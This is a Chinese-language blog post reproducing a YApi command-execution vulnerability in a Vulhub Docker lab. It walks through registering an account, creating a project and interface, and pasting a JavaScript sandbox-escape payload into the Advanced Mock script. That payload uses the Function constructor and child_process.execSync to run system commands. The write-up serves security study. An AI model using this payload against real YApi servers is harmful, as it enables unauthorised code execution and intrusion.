Yapi命令执行漏洞复现-Toy模板网

这篇具有很好参考价值的文章主要介绍了Yapi命令执行漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

一、漏洞描述

YApi 是高效、易用、功能强大的 api 管理平台，旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API，YApi 还为用户提供了优秀的交互体验，开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。

YAPI开放了注册功能，注册用户后新建项目并在接口的Mock功能里面添加了恶意脚本，最终执行了脚本里的命令

二、环境搭建

使用 Vulhub 搭建测试环境，项目地址 https://github.com/vulhub/vulhub

使用 docker 启动

docker-compose up -d

yapi漏洞,漏洞复现,安全,网络
启动成功后访问 ip:3000

三、漏洞复现

首先注册一个账户，并登陆
yapi漏洞,漏洞复现,安全,网络
新建项目

新建接口

高级 Mock -> 脚本，填写恶意命令代码

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()